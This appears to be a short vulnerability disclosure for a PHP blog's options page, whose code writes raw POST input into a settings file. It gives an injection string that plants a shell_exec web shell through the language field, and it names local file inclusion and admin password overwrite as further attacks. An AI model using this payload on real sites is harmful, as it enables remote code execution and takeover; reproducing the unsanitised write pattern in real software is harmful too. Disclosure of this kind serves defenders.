source of i-options.php

1. <?php
2. session_start();
3. if ($_POST['submit']) {
4. if ($FH = @fopen('data/settings.php', 'w')) {
5. @fwrite($FH, '<?php $pass = "'.$_POST['pass'].'";
6. $uri = "'.$_POST['uri'].'";
7. $suri = "'.$_POST['suri'].'";
8. $blogtitle = "'.$_POST['title'].'";
9. $description = "'.$_POST['description'].'";
10. $postid = "'.$_POST['id'].'";
11. $author = "'.$_POST['author'].'";
12. $skin = "'.$_POST['skin'].'";
13. $gravatar = "'.$_POST['gravatar'].'";
14. $twitter = "' . $_POST['twitter'] . '";
15. $identica = "' . $_POST['identica'] . '";
16. $book = "' . $_POST['book'] . '";
17. $game = "' . $_POST['game'] . '";
18. $language = "' . $_POST['lang'] . '";
19.
20. require_once("template.php");
21. require_once("lang/$language.php");');
22. #fclose($FH);
23. }

We can overwrite setting.php by simply sending specially crafted POST request,
and put some evil code into one of the variables. After running my PoC line with
$language var will be:

$language = "en";echo @shell_exec($_GET['cmd']);$wtf="";

Where "en" is default language and without filling this field correctly admin
will see error while trying to access blog index.

other attacks scenarios:

- attacker can use $_POST['language'] variable to exploit Local File
Inclusion (lines 18 and 21)

- fill $_POST['pass'] with new password (md5 hashed) to overwrite admins
password

- etc...
